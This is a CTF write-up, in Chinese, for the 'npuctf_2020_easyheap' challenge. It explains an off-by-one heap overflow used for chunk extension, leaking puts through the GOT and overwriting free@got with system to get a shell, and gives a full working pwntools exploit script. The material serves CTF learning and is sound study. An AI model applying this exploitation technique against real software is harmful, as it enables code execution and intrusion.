npuctf_2020_easyheap off_by_one

数据存储比较复杂。 程序先malloc(0x10),来储存heap结构,前0x8储存heap size,后0x8储存heap content指针。 heap固定只能申请0x18或者0x38。 这一题的思路是,off by one修改heap结构的size,这个是heap结构0x10的结构,从0x21改到0x41,这样就实现了Chunk Extend,扩展到了heap的位置。 这时候delete这个,这时候

1
2
3
fastbinY:
 0x20 -> heap content
 0x40 -> heap struct (后0x20覆盖到heap content)

这时候我们在申请0x38,就得到0x40的Content和0x20的struct。 这时候,这让Content在struct的前面,并且后0x20可以覆盖到struct,所以我们改写Content,使其覆盖到struct的heap content指针,指向[email protected],show一下就leak出了地址。

这时候利用同样的方法,修改[email protected],修改成system。这时候申请一个地址,内容为sh,然后free,就执行了system(‘sh’),当然,如果got表不能改写,我们可以写到__free_hook,效果也是一样的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
r = process('./npuctf_2020_easyheap')
#r = remote('node3.buuoj.cn', 28464)
elf = ELF('./npuctf_2020_easyheap')

def choice(idx):
    r.sendlineafter("Your choice :", str(idx))

def create_heap(size, content = 'a'):
    choice(1)
    #0x18 0x38
    r.sendlineafter("Size of Heap(0x10 or 0x20 only) : ", str(size))
    r.sendlineafter("Content:", content)

def edit_heap(idx, content):
    choice(2)
    r.sendlineafter("Index :", str(idx))
    r.sendlineafter("Content: ", content)

def show_heap(idx):
    choice(3)
    r.sendlineafter("Index :", str(idx))

def delete_a_heap(idx):
    choice(4)
    r.sendlineafter("Index :", str(idx))

#leak
#0-size
create_heap(0x18) #0
#1-size
create_heap(0x18) #1

#getshell
#2-size
create_heap(0x18) #2
#3-size
create_heap(0x18) #3

edit_heap(0, 'a' * 0x18 + '\x41')
edit_heap(2, 'a' * 0x18 + '\x41')
gdb.attach(r)
delete_a_heap(1) # (#1 struct:0x41)->(#1 content:0x21)
create_heap(0x38) #1 (content -> struct) (struct -> content)

#content
#struct
#gdb.attach(r)

edit_heap(1, p64(0) * 3 + p64(0x21) + p64(0x38) + p64(elf.got['puts']))
show_heap(1)
r.recvuntil('Content : ')
puts_addr = u64(r.recv(6).ljust(8, '\x00'))
print "puts_addr: " + hex(puts_addr)
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')

delete_a_heap(3)
create_heap(0x38) #3
edit_heap(3, p64(0) * 3 + p64(0x21) + p64(0x8) + p64(elf.got['free'])) #p64(libc_base + libc.dump('__free_hook'))
edit_heap(3, p64(system_addr))

create_heap(0x18, 'sh\x00') #4
delete_a_heap(4)

r.interactive()
0%